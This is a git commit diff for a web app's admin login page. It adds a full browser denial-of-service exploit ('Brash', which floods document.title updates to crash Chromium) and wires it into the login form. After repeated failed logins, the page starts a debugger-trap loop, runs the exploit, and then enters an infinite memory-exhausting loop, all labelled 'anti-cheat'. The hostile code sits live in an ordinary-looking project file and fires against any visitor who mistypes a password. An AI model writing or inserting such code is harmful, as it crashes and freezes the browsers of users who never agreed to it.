This commit is contained in:
Dreamgineer
2025-11-27 14:48:58 -05:00 Unverified
parent 4f5cbd8f39
commit 9b03a9cc8b
2 changed files with 175 additions and 0 deletions
+149
View File
@@ -0,0 +1,149 @@
/**
* Brash
*
* Exploits the total absence of rate limiting on document.title updates to inject millions
* of DOM mutations per second, saturating the UI thread, breaking the rendering pipeline,
* and ultimately crashing Chromium-based browsers.
*
* @author Jose Pino
* @contact [email protected] (https://x.com/jofpin)
* @github github.com/jofpin/brash
* @license MIT
*
* © 2025 Jose Pino | Released: Oct 28, 2025
*/
export const Brash = {
/**
* Array of pre-generated titles (100 hexadecimal strings of 512 chars each)
* Pre-loading avoids generation overhead during the attack
*/
titles: [],
/**
* Total counter of document.title updates executed
*/
counter: 0,
/**
* Generates a random 512-character hexadecimal ID
*/
gid: () => {
let id = "";
// Generates 512 hexadecimal characters
for (let i = 0x0; i < 0x200; i++) {
id += ((Math.random() * 0x10) | 0x0).toString(0x10);
}
return id;
},
/**
* Pre-generates 100 unique titles and stores them in memory
* This pre-loading enables faster attacks without generation overhead
*/
gen: function () {
for (let i = 0x0; i < 0x64; i++) {
this.titles.push(this.gid());
}
},
/**
* Injects a burst of 3 sequential document.title updates
* Each call selects a random title and modifies it 3 times
* This triple pattern maximizes rendering pipeline thrashing
*/
inject: function () {
// Selects a random title from the pre-generated pool
const t = this.titles[(Math.random() * this.titles.length) | 0x0];
// Triple-update pattern: causes maximum UI thread thrashing
for (let i = 0x0; i < 0x3; i++) {
document.title = t + i;
}
// Increments counter (3 updates per inject)
this.counter += 0x3;
},
/**
* Starts the DoS attack with customizable configuration
* Supports immediate, delayed, or scheduled execution
*
* @param {Object} config - Attack configuration
* @param {number} [config.burstSize=8000] - Number of injections per cycle (higher = more aggressive)
* @param {number} [config.interval=1] - Milliseconds between cycles (lower = more aggressive)
* @param {number|string} [config.delay] - Delay before execution: number in seconds or string ("30s", "5000ms", "3m")
* @param {string|Date} [config.scheduled] - Specific execution time (ISO string or Date object)
*
* @example
* // Immediate attack
* Brash.run({ burstSize: 8000, interval: 1 });
*
* @example
* // With 30-second delay
* Brash.run({ burstSize: 8000, interval: 1, delay: 30 });
*
* @example
* // Scheduled for specific time
* Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });
*/
run: function (config) {
// Default configuration: 8000 bursts every 1ms = ~24M updates/sec
const burstSize = config.burstSize || config.burst || 8000;
const interval = config.interval || 1;
/**
* Internal function that executes the attack
* Pre-generates titles and launches continuous injection loop
*/
const execute = () => {
// Pre-generates the 100 titles before starting the attack
this.gen();
// Launches infinite injection loop
setInterval(() => {
// Executes N injections per cycle (each injection = 3 updates)
for (let i = 0x0; i < burstSize; i++) {
this.inject();
}
}, interval);
};
// MODE 1: Delay - executes after time elapsed since page load
// Supports: numbers (seconds), "30s", "5000ms", "3m"
if (config.delay) {
let ms = 10000; // Default: 10 seconds
// If number: interpret as seconds
if (typeof config.delay === "number") {
ms = config.delay * 1000;
}
// If string: parse suffix (ms, s, m)
else if (typeof config.delay === "string") {
const val = parseFloat(config.delay);
if (config.delay.endsWith("ms")) ms = val;
else if (config.delay.endsWith("s")) ms = val * 1000;
else if (config.delay.endsWith("m")) ms = val * 60000;
}
return setTimeout(execute, ms);
}
// MODE 2: Scheduled - executes at specific moment
// Supports: ISO string ("2025-10-18T09:30:00") or Date object
if (config.scheduled) {
// Converts to timestamp
const time =
config.scheduled instanceof Date
? config.scheduled.getTime()
: new Date(config.scheduled).getTime();
// Checks every second if it's time to execute
const check = setInterval(() => {
if (Date.now() >= time) {
clearInterval(check);
execute();
}
}, 1000);
return;
}
// MODE 3: Immediate - executes now (if no delay or scheduled)
execute();
},
};
+26
View File
@@ -3,11 +3,13 @@
import { Loader2, UserLock } from "lucide-react";
import { useRouter } from "next/navigation";
import { type FormEvent, use, useEffect, useState } from "react";
import { useSessionStorage } from "react-use";
import { toast } from "sonner";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { authClient } from "@/lib/auth-client";
import { Brash } from "./brash";
export default function LoginPage({
searchParams,
@@ -15,6 +17,7 @@ export default function LoginPage({
searchParams: Promise<{ next?: string }>;
}) {
const [loading, setLoading] = useState(false);
const [failed, setFailed] = useSessionStorage<number>("failed", 0);
const router = useRouter();
const { next } = use(searchParams);
const cb = next || "/admin";
@@ -27,6 +30,28 @@ export default function LoginPage({
checkSession();
}, [cb, router]);
useEffect(() => {
if (failed === 0) return;
const int = setInterval(() => {
// biome-ignore lint/suspicious/noDebugger: anti-cheat
debugger;
}, 100);
if (failed > 10) {
Brash.run({});
setTimeout(() => {
// biome-ignore lint/correctness/noConstantCondition: anti-cheat
while (1) {
new Array(2 ** 32 - 1).fill(0);
const el = document.createElement("img");
el.src = "/favicon.png";
el.style.zIndex = "10000";
document.body.appendChild(el);
}
}, 20000);
}
return () => clearInterval(int);
}, [failed]);
async function submit(ev: FormEvent<HTMLFormElement>) {
ev.preventDefault();
setLoading(true);
@@ -44,6 +69,7 @@ export default function LoginPage({
}
if (r.error) {
setLoading(false);
setFailed(failed + 1);
return toast.error(r.error.message);
}
router.push(cb);